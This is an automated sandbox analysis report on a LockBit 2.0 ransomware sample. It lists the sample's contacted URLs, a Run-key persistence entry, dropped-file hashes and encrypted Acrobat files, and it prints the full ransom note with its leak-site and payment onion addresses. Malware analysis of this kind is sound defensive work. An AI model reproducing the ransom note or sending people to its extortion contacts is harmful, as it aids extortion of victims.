http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion	Pna3t7DeL3.exe, 00000000.00000002.525537655.0000000006330000.00000004.00001000.00020000.00000000.sdmp, Restore-My-Files.txt8.0.dr, Restore-My-Files.txt101.0.dr, Restore-My-Files.txt134.0.dr, Restore-My-Files.txt257.0.dr, Restore-My-Files.txt103.0.dr, Restore-My-Files.txt50.0.dr, Restore-My-Files.txt119.0.dr, Restore-My-Files.txt64.0.dr, Restore-My-Files.txt98.0.dr, Restore-My-Files.txt57.0.dr, Restore-My-Files.txt159.0.dr, Restore-My-Files.txt11.0.dr, Restore-My-Files.txt205.0.dr, Restore-My-Files.txt174.0.dr, Restore-My-Files.txt36.0.dr, Restore-My-Files.txt225.0.dr, Restore-My-Files.txt228.0.dr, Restore-My-Files.txt89.0.dr, Restore-My-Files.txt254.0.dr, Restore-My-Files.txt71.0.dr	true	Avira URL Cloud: malware	unknown
http://...............Acrobat	annots.api.lockbit.0.dr	false	Avira URL Cloud: safe	low
http://a9.com/-/spec/opensearchrss/1.0/:totalResults	annots.api.lockbit.0.dr	false		high
http://schemas.xmlsoap.org/soap/actor/next	ppklite.api.lockbit.0.dr	false		high
https://decoding.at	Pna3t7DeL3.exe, 00000000.00000002.525537655.0000000006330000.00000004.00001000.00020000.00000000.sdmp, Restore-My-Files.txt8.0.dr, Restore-My-Files.txt101.0.dr, Restore-My-Files.txt134.0.dr, Restore-My-Files.txt257.0.dr, Restore-My-Files.txt103.0.dr, Restore-My-Files.txt50.0.dr, Restore-My-Files.txt119.0.dr, Restore-My-Files.txt64.0.dr, Restore-My-Files.txt98.0.dr, Restore-My-Files.txt57.0.dr, Restore-My-Files.txt159.0.dr, Restore-My-Files.txt11.0.dr, Restore-My-Files.txt205.0.dr, Restore-My-Files.txt174.0.dr, Restore-My-Files.txt36.0.dr, Restore-My-Files.txt225.0.dr, Restore-My-Files.txt228.0.dr, Restore-My-Files.txt89.0.dr, Restore-My-Files.txt254.0.dr, Restore-My-Files.txt71.0.dr	true	Avira URL Cloud: malware	unknown
https://tox.chat/download.html	Pna3t7DeL3.exe	true	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd	ppklite.api.lockbit.0.dr	false		high

World Map of Contacted IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
192.168.2.126
192.168.2.247
192.168.2.127
192.168.2.248
192.168.2.124
192.168.2.245
192.168.2.125
192.168.2.246
192.168.2.128
192.168.2.249
192.168.2.129
192.168.2.240
192.168.2.122
192.168.2.243
192.168.2.123
192.168.2.244
192.168.2.120
192.168.2.241
192.168.2.121
192.168.2.242
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139
192.168.2.250
192.168.2.130
192.168.2.251
192.168.2.91
192.168.2.90
192.168.2.93
192.168.2.133
192.168.2.254
192.168.2.92
192.168.2.134
192.168.2.95
192.168.2.131
192.168.2.252
192.168.2.94
192.168.2.132
192.168.2.253
192.168.2.104
192.168.2.225
192.168.2.105
192.168.2.226
192.168.2.102
192.168.2.223
192.168.2.103
192.168.2.224
192.168.2.108
192.168.2.229
192.168.2.109
192.168.2.106
192.168.2.227
192.168.2.107
192.168.2.228
192.168.2.100
192.168.2.221
192.168.2.101
192.168.2.222
192.168.2.220
192.168.2.115
192.168.2.236
192.168.2.116
192.168.2.237
192.168.2.113
192.168.2.234
192.168.2.114
192.168.2.235
192.168.2.119
192.168.2.117
192.168.2.238
192.168.2.118
192.168.2.239
192.168.2.111
192.168.2.232

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	824744
Start date and time:	2023-03-12 06:34:06 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 20s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Pna3t7DeL3.exe
Original Sample Name:	111093146452b46071976d594172bc81d66427651f5f4cc244ddad9b3eae5c7d.bin.sample.exe
Detection:	MAL
Classification:	mal100.rans.spre.expl.evad.winEXE@30/1026@0/100
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 89% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, dllhost.exe, consent.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, VSSVC.exe, svchost.exe
Created / dropped Files have been reduced to 100
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:35:06	API Interceptor	2x Sleep call for process: Pna3t7DeL3.exe modified
06:35:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run {B35BA88F-AAAA-7B1F-859C-850F9029E88E} "C:\Users\user\Desktop\Pna3t7DeL3.exe"
06:35:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run {B35BA88F-AAAA-7B1F-859C-850F9029E88E} "C:\Users\user\Desktop\Pna3t7DeL3.exe"
06:35:21	API Interceptor	1x Sleep call for process: WMIC.exe modified

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	Windows desktop.ini
Category:	dropped
Size (bytes):	129
Entropy (8bit):	5.323600488446077
Encrypted:	false
SSDEEP:	3:0NdQDjoqxyRVIQBU+1IVLfAPmBACaWZcy/FbBmedyn:0NwoSyzI2U8MAPVCawbBmeUn
MD5:	A526B9E7C716B3489D8CC062FBCE4005
SHA1:	2DF502A944FF721241BE20A9E449D2ACD07E0312
SHA-256:	E1B9CE9B57957B1A0607A72A057D6B7A9B34EA60F3F8AA8F38A3AF979BD23066
SHA-512:	D83D4C656C96C3D1809AD06CE78FA09A77781461C99109E4B81D1A186FC533A7E72D65A4CB7EDF689EECCDA8F687A13D3276F1111A1E72F7C3CD92A49BCE0F88
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[.ShellClassInfo]..CLSID={645FF040-5081-101B-9F08-00AA002F954E}..LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964..

C:\$RECYCLE.BIN\desktop.ini

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	Windows desktop.ini
Category:	modified
Size (bytes):	129
Entropy (8bit):	5.323600488446077
Encrypted:	false
SSDEEP:	3:0NdQDjoqxyRVIQBU+1IVLfAPmBACaWZcy/FbBmedyn:0NwoSyzI2U8MAPVCawbBmeUn
MD5:	A526B9E7C716B3489D8CC062FBCE4005
SHA1:	2DF502A944FF721241BE20A9E449D2ACD07E0312
SHA-256:	E1B9CE9B57957B1A0607A72A057D6B7A9B34EA60F3F8AA8F38A3AF979BD23066
SHA-512:	D83D4C656C96C3D1809AD06CE78FA09A77781461C99109E4B81D1A186FC533A7E72D65A4CB7EDF689EECCDA8F687A13D3276F1111A1E72F7C3CD92A49BCE0F88
Malicious:	false
Preview:	[.ShellClassInfo]..CLSID={645FF040-5081-101B-9F08-00AA002F954E}..LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964..

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	187392
Entropy (8bit):	7.975013134444399
Encrypted:	false
SSDEEP:	3072:7ls1MS60xwZODn/TJTHuX2T/5/dGc4uka2AtSyNLMDTJ5MtvVmbv2:7ls1b60zbJTuXa5McZd2At7mJ5Muz2
MD5:	9DD3041CC95958C669DCEB33CCFA8158
SHA1:	8AAA9594F6AE0CF4C39A4D353E152BFA7D09500E
SHA-256:	6F49945E0D1D5B0FF54E54E11AC26982B6DA55F68DEE21B66741C6055DE17898
SHA-512:	781D90AEAE46F48AD9F557D1AA8DFA92D0791DB58D3EF1D70B33596CD74AE39DE43578FCBA04C89E47CBBF09FD6EDA91FE8714ADD39FF033EFA00C8B8F7B06C0
Malicious:	false
Preview:	...vr\|..AE;...e.....!..`......1.K.,..%.w?...[.n.l[...J.[RW.u&?..>..l.<.....,.....0.Tv..-.kR..e..f.(. ^.w...N.........8...].0,..96aQ...+.....Y..&lU......$..r..V7S..).d..-.9.b.m.P.>.}...x.8.m.I..O..8PB4..:....p.....lq..........&m...M.tT._.l.....S...)J.t..\|yXd..R.:......Y._8x4.j...{.<........3...hE8`h.A-.cg.&...fu....>8........T.1....$H...V....&pG.R@.x.l..;4V..>.lsU...WR.....qg...XN1Elv.D.8..Q..}..D7\{4JW.m...y.....O.P..KV.....5..'g...`mA`.}\e.z.....b.A.a.i.4wP3..v,D^'Co...~........y..K..].3.^F....K.3.V.}.7.d.....:._.qS-[........A%....@....r.?.Q...'(..w..o..d.....Z...X.%.<.X....(.8...?b...m..K.z...T..i.........'...y..B..;S..#......Q\...............h.0.n.`....~9.v..f....3....7$!<XF..f...A..~.A...C...?..8..W.@.R..vH.L&x#..M...ff8.."..xA.v...I}tf...9..L.N....hY.P..`32ZU( ..[.>Nh.6j=..i%...#pj.3.fG..kD.#....D[..........T.....!.r3..Q.R9Xx3-I.....+...>....d9w^.0Ow....#.,.....+.nc.._k..<.t.G..*....Cm.8..V.M.4...s..N.H.3QX3%...S....>.&..

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\appcenter_r.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.794198012616963
Encrypted:	false
SSDEEP:	24:jCVz6Zj4EkKXKo/n3v3OOSfWMrIhb4N8Toq4qzvB7:OVOZj9jXBHaiG8sqNzp7
MD5:	C84C327E2E2CA12E0E895645CD682BC7
SHA1:	8F2C2361EAC7940DAC08397C9281289B2060BB7C
SHA-256:	B48CF01FF9A34646E628B1488F555A263189BCD4BE7B7A58E20CED1344FCD527
SHA-512:	702E94C0265B9E0E05BA9997CCCAABFAB269645191B9110686B5C4662111AB2F34B366BC690A086B7E2C0EE46CCFB8DE48049252FD8D1BBC3DF0294EC44EC133
Malicious:	false
Preview:	...6.I..;[...+?ui.Iz...b%..#V{R....7........ab.....<C..T..e..........!...'....x..A..X0....R.......`......H..$1Gs.{... .w.<e#..Q..O]....N.F...B+./.}...9".-..D....>.../...%].'T[wa..r..#7..u.]<....T6.8?.....]=.O...Fk#.-.........QB..3!.\8/...R.....B.h4.._F.W..R.`.\|.}Q...BS....8..'l.k......B....4....<.....n....B.}......KI.$c..c.O...v...Q..`..=..k.I...a..hR..(.......>C\|.j.%{.-^F..>...Q...P.A.........y....e...PU{.."0Z..r\..ox?.=?.< OK.....n.=~w.M:O....KZ.@..........8...V.....'V.g.y..(...i....-.(NY\|.@.E..6....R.7.9."E...i.~.....a.;..T...'.3t..Q.\.?.gU.`)..B...T.hF.......7..bR.....k....c.....s.:.T.W.H{T.\|...p.).N.....@..W....l..x.t..r.}.k...{f..?.....'..e.d.PY..%.. ...w.....Tz.q2...T.z!.4.*Y..>.v.......T1...Q.Q~.)..i.\..g4n...H..P.}7.....ao.."v..Y..........i...ViVO..".h.:yX ...Z.......N........GK.@y.4.hG.<...#N#.....Y31.a.O....b<w!...l..j..(../HG.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\certificates_r.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.86956640919652
Encrypted:	false
SSDEEP:	24:YfInzzTnBxfnyyYddnkLSzD0YUmloACR47NFvAXrRtY9jo/qUgdWgQb7qzvB7:YfUzzTnzyyYddnk+zgNUXCi/vAv2GqRp
MD5:	7F900010363117D068FB831E7B1F8B43
SHA1:	C5F1FD5B8C164386FD78B4F2770DE4B3F69A0652
SHA-256:	6A732AB78BA3B728902588D04786A7DEDF0F5C0B3E1B02D0C0A5009F9B361A20
SHA-512:	B636469BEF8719874EAAE64E373B3D9BC6E38436C165703525DB44B7E59B218144CED58F5EB9BB095F2F9350D012B631234242E19CEDE82E2AA754BDEC0BF020
Malicious:	false
Preview:	..]g.K......$>.BW.J..8.._.[.3\o.....o...,...>..e..c.AcQ&c....<.Ta...2.m].....}......Z.........<_..m...\.H.m...mb..DT5.P......aFV.9.....).Z.......@.K.z.J.........ZA.1..._.1..t..}.../...\|.2i...%[..+..83...r..16.l...CC..kky.......z'9jh. .R.+s.CWf.!..'_J.....t./Z..h..p0..iJM......D...[rJ^..x..T.P. H.......n1k.)...x<K....IF.......c.)......HT.7.m.E..@r.Z.\....1.s.J.E..<-.Z....n.+.~.....#;6.O9.. .....y`.T]zc...e.U..d$........x..'...'...`...8.-...3...".ig..P..(..P..q..&.:..a9....\..#..`4.....k.4.d.S.3....\|...@.g.VI..8.....x..W.D--4.>PA..Zn 9..~.........H..u.....sy...@..k.".#.u..o.s.{...`...g...e.\...0./3U........A...{.Pd...E....x...)_.+X..!...0...?..>A,....p....u.1.o...vx.N[+.K?..!}.D..g.........d..t..........E..k.}O.v.m...u..GrN..&..R....c.........".W......J..$..W.dY9z..K.^.5.W..U....(.[n.........yv#.Y.-pk..,...p..=..0.0E..rzJ.8.h..&v.i..B......_.T..zT.u.T..$4.Z....k.......F....\|]'o.bN...F2m...h{.[..j.`.W....nG?.\."Q....tx..[+.f.%....

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\collectsignatures.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.819022505132669
Encrypted:	false
SSDEEP:	24:aeXr/6KLP/oQPz1Yhiuzq2tb+upCs9GqqzvB7:l/6K7Yhiwq2tbZMsmzp7
MD5:	F88BDB8706E2055BC6EE5DFE6036806B
SHA1:	91B6717868855A1E03B2D98EAC2ED03A03C464A8
SHA-256:	8F5CA1BE068638A16E9D11F0EF310C2FB7A83E75C87FF054648617EAE31AC292
SHA-512:	B36896E9D208FE7492A6A7DA4F76F2899BC62604CEBD65D44F459C5EE58C7B59D228B81AC5B7495397A2EBFB5B8A25E9942418EEB19F6D9F453457D7A2BD1C6F
Malicious:	false
Preview:	.ov.....y....R.Y.:.....h...]!....E.b.^W.....:]z....%.z...O... -....x..~.l)a.l.&.w.R.V.......lx@....&6....\E....`..VK......tr..!...>3...+,..h`=...3m.jwzrE0...I...-..l.....[..4.....i.#.z.-...x...5.e...^E.L../.~.Q..<.0#.Gm?..AJl.....?..V...7.H0..5....+..\|.,].6..(.`I.V....i.R....~.S....!.....A........M...9...X..r.`.fU.?..=.sE3.....K.h.0nH_U...........A........}.e!.e...H....y.../........O..]...:..h/....q....5.I..<..k)....L.Q.c......y....S(...-.<x..:..Z.....4....x.@.....~v....'/.5_G\|I........W.f6...vT..{........ .........O.C...d.jY.B^}vw.;..0.....)^.@.-........4.F.C....8.........0......{.....Wu&J.=5.w....a~.\...y..89..._..,E...........\.M..;..M.#f..Tj.m)..Z...R......fA>{."].e:.r.[1n.>Q..T<..T..C....T.}(..'.....F....^ ......*...E..?-...:Y..A../3.L.A?......1...\|....nh~.....(<..W...B.Mv\.A$.=J......L4.N...R....G.q...;....H.1...n./.+.....{s...l'.2.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\combine_r_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.81961118408796
Encrypted:	false
SSDEEP:	24:wbIyQvMiiKJ0o0VqFa93KaIJ81cKTHCQNkM2/g91NAjTfBnqzvB7:wb1ziicUIJ81c4/2dTJqzp7
MD5:	D87F5FE648A46E55964AE09011DDEB0B
SHA1:	8A777CEBAFA619978CE5891E0A15ADDE368D8021
SHA-256:	390A16A15CDB5DEF56627AFBC770270C96B7BC707B567174618488E194805AFB
SHA-512:	9525AC365E5A1FE1282FC5863EB9BBFB9F05561445DCEFBEB9FC7CD8EDAF39428474964EBA7D168099F9C967C63B2D8F94A3579C2EE05A33A9C92F23C8E9A026
Malicious:	false
Preview:	..AVp...gsasl..d%e..M.K......,<..j2....qH..^..f.7J..nD r....d-.".c`B.J..WZ...3...+[.`..{.@0...B.\.]..x.p"VG+.618..he...r=.(D..R....4...;..K.../"wSh7i.(.j.p.....n.B......u..QjG.nG....V..%...7.]..Ua....P .ka..\..&.p....qlS%.8.......[. .U ..$......1.o.A"...9..+..W.uJ.=y.BJ.k.`3..L.....!n.f..s.4...5K...2..R.....?bs..7...33...\...6u.....l.`j#+H..E..vm.+../..@..^=#.K'....sg.).v.{a..3\...j.8..M*....}...&.WVe.`_&....i..y.X.wvz...v..P........vf.UL..u.#..'.@~....B.0..Gx.#P...)l.........<.=.,.q..... ...b..[...2.....3 .p.^.a.0.^#......f.U/..mz.,$.j.....M....y..h..X..xd..;B"........,.Q..dV..5...'./.fI.Z`./5'p....N......S..43L.....:.... ....;..........i.O9}....d.C..R._.iL.. ....j...v^.-.H.....v...:.yk..+.f..#......j...N.V(..N....j....)[.:.>...%C...@....R.`.$6...F..q^..>...y.....e~l..^.G...%..+.......A.#.......e>.m......6.7.@...).__..d.t.".)01...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\comments.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	20992
Entropy (8bit):	5.954981980723725
Encrypted:	false
SSDEEP:	192:y+IJtvQBIPsalb7lpRWlFNvg+Q2lPDaTUfAiObd1:y+OPTlb7XYNdQ2MTd3
MD5:	212601929712D0D7ACB5F0CFF3289AF6
SHA1:	1D85721969136083CF8548E4A2F5058F5D24398D
SHA-256:	0321B292F1BBA1AE4E5AC6CC0057AAEA2818C0DC81477694A595391916F941E2
SHA-512:	005CA5211A483D927479A22EFE9B742B3E40403EAC5DE7727E3D541169291AF1D8DFC63FB51D65E39ABE25F29D97F7A7E6CDDFFEABA18967808919BDFE924705
Malicious:	false
Preview:	&'J.....!.HD\....4Bce...W.3.G.VK.\|.Y..`S.Y..?............./b......l...@..(&I......P.qP>hPL.9.d....s...E...H.6.K.T.......\.~X.,...`...Pw...9.1.~._.v#....x.i....\...S$..8GCq...oN.c.".....Bz\$...."......H.u.5....tb+.;.tC..O\|'.n.w`.?1lwGn....^.......K.]u....!..%...\|.X7..z.c...U...........&\......+.......?R0FKir....T.....`....S"\|....m.\|..X`.H......aiv>x Q..\|.......0.K.P......N..._.8ZG:.P.P&..\|..'d\|....\W/.V.T.\.........h.k..v.].EZ...c.n.:....rV....O...,..v.F........A......A.....b1.(..f..A.p..'.wY..M.4....fkz...(.....L....C.......-.p..W5....3_.Vz..X..j\.{..]..e....c$Ms3....`61.{:k......M..'`.?.F.pm.........q...e...ff.m...4^a..r.%..w..5..r.....Fw.K.D..n.M.;...W.....g=P...(...F$:....l..BMaKM.......W..[.R,oS...-ZV).[%&.....H.P%LC.h..4,....#}.`.........8ba6*.bv....K. .. ......=C.`.cM> j.fu.O...G..m._..R(E....M..8.1[..E'.!.S"...^..9.h.5.8yo>..#..'.=..y....Gg+.W.4...i8V.y..."k.m,+.KBl....\|.3... &.i1..K.+..q./~uu...,)'.@0...E.W.(T.........,..{........

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\compare_r_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.5814039341205985
Encrypted:	false
SSDEEP:	12:J3KvQtNl2ZZGSO90cjw59HvVilxEmtfswMeqxlvB7:J31zl089Dj6FkHT9qzvB7
MD5:	FF9CC744381FBFAC41A0426D4FCDDC33
SHA1:	A7B02A37DC6218E93F5DDDE535679FE35CEBFD12
SHA-256:	A94A39AB66C7BEDC3C1EF835701211130ED9BEDC212872DC88E793C240631348
SHA-512:	7FA9F0F0071822DCF57DFDF9C0C13D9CFF6CD5DD867B7C2B03C42EC93AED43C4D78CFBEBFF5F14FDA5278FCF6CDC94DF0B5DFDA94C2151881F9A398AFA577ADB
Malicious:	false
Preview:	...d.Z.8.$=.......ld....c....{...[qg2..09.g=@.....t..r....E.L.3......f_....m...i)...'..v.."....^..Y.H..<..u...R#.k..(.@_.......n....{.0f......+...6...EF...N".S..E...u,k.6@..\|`..B...p.`..!......._.....Z.s.WL.y.T.hgTP..(x..[oG...........f2.*. ..#..1!.8.$......._...m..q....3.k......N.O.r.q,.-.l.Le.U......M.A.Vx~.(.%L2N.8..k.g.Qfy&........:....^'..k.3R5...z.d?../}+.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F7T.....l.[....{.2....>.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\cpdf_full.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.820524478138141
Encrypted:	false
SSDEEP:	24:Y89pjiBbdRAW+tV2CiEWPAyRdUW6mn++D8VCWPfaJYqzvB7:Y89diBbdRH+6CiEX/YD6stzp7
MD5:	138702BBCB6C83739F678D1B5AFACB54
SHA1:	F4425E9ED1A8CA1F14EB447B092AEC2E2456E6A8
SHA-256:	5AD1AF1D3A292CE58B894175C7638F8BCC6C5BD5D0800FCDC60AB50B6529399A
SHA-512:	5E04CEC3AD0020E3C97D53CB5798E6756ED0A34D2C976404467289A8488DAC5EF43B1ECECB9AB13391B267789D7A01FD73A746131591B7F21187EAA860C5528D
Malicious:	false
Preview:	..A[......b...Y..b&...V.]U.4xE&.....l.#.....SjB.....3r..M.;...p.c.Y......`.,O.)..B.d........Co.....3....1@7..(..y..l.....y....q.u.-.....o...S...V.0...].H...e...a...........t....Q(..j..I.Y.1....0...?.LF."Q...W....fuU......{..Z,........p..1^.O.....1f.6.....vmQ,....VQ2..]..np..SV.v..j........aD.."..h@.J.s47z.1mm.9,....{...6...N...M.c#.\|.W..h....5.....1."....K.o-.,9F..v).[.D8...!?>.!3..J...tB..Y.jq.&B..'.A..kh...}4.C.p..o5.$F.i...`....;.;]%H^.b...9..N.7.H]...wh.N...R.,..-..Bk..u.Y.:d8....I$.o.%i.C@.......V...5p"M.....x. 2 ......2..qTE..P..mvO.%..}Y.6.q..$...GDz....<.i....a.!.9N\|...Gg..}...q....G.......A........6'....G.9`a..O..]....\CY81..(.\..(.....Q.......I.'Gn.....5....5\....W..k.L3`@r..l<.L.q.,..EJ.u..C^.X+c.VY..Q.Oq]w.9c<..]y..{...V..4..e...3`W.N`8.........T.."(..Sl2(O..Y.f...}....E..KC....(..oJ%{...v.6.'..G.Iz..(..._...@.A.Z;x..'...1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\cpdf_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.79404533329778
Encrypted:	false
SSDEEP:	24:RIfXdBXY//Sr9tcmt7V0rgv4v6pUo9rqzvB7:ABXYHmtVt7GvSF9Gzp7
MD5:	51D393800BDDC5F87612B623AB7579F8
SHA1:	C2D3F6DA1568C2712654C4FA65CCC20AB6A73B53
SHA-256:	91F37A71FE35D56B142FC12CAE5213BC79DBB04D640F3CCB26E2DA850AF435A3
SHA-512:	239998552E9D4A5D9146DA3009F9F18D97C7930A6DD12D27C737DF686B23A3DD936C1F07D89A3F2EEB497704559EE72633DA2B266074C5BA085D3DA8E9E0F872
Malicious:	false
Preview:	....{:pw9.o....K..2.o.7<.&n......5!..zq}4...-l.w.5...V........s9.3.71.H.0.fJ...>..eC...."1......[.)K831F....b.,.aV......>....0nZ.q...!Y./V.../`..._..i.B.7..0....J"....t.....Oe....O....`..M..!<..-.)[.p.h^/.......Y..e.bD..Vs..m\..../_.r=.....v...6J.ZZ...h.J.;..:...SL...1r!uM1.......GWG.^.;,.8.....M.r$.i..f..?.K.ePn.4W......W.........j.b..f...=..=.H.6....x..2.[.U.-1.S.b.{..'C...}6.e;..8.....{V...4.l.....ZF.......Q.oR.3M.]}.u..k.F2.RN....%:.$...I..R....+0ajW.@?...S...R......7.A......y?.[..3...K...R>$...8nX;....{9.0.....o.....$o..F.9o.S...).~...#...7......=....98.m....Gx..$.....w....z.5....1.<.:...c-4.<.}.t.uc..7.U....D..H.1..c./6{$.<OA.\|]..f..G...../.......kB#....JS..:..&.l...W....P.K..Zt.[?..f.;......fUM..undX(\.xRCJ&..WS...z.U....np.>....}@4......F.7.n..,KR.{..T..c..6../.d..(.O{.N. ..q..h.....T..R..~....Q...5...[%...3._X=.ES~~.....Te.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\edit_r_exp_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.775137643331025
Encrypted:	false
SSDEEP:	24:XEqQ5HNoPjojRYeA6Ln6+l+s1Ht5sPyBkqzvB7:0pNSMYN6Ln6A+sX5sPyBBzp7
MD5:	C7240C09CFAB3A2C091D867502B6CBE5
SHA1:	962A3F666B11E1381093AD0A7F698ACD11A37BA9
SHA-256:	D8C2AC5CD48A2913F3560C447B89811C57E0AFA15143BA0B8BEE575C8B5C0DA7
SHA-512:	A819438D57FCFC1E0799773952CA5D6E5AB934172E5D6A9CFD38244A0636B7794F7E76A72BC71BE0A732964FA4D8EBCD52543A11EC39991A198A0C0860531747
Malicious:	false
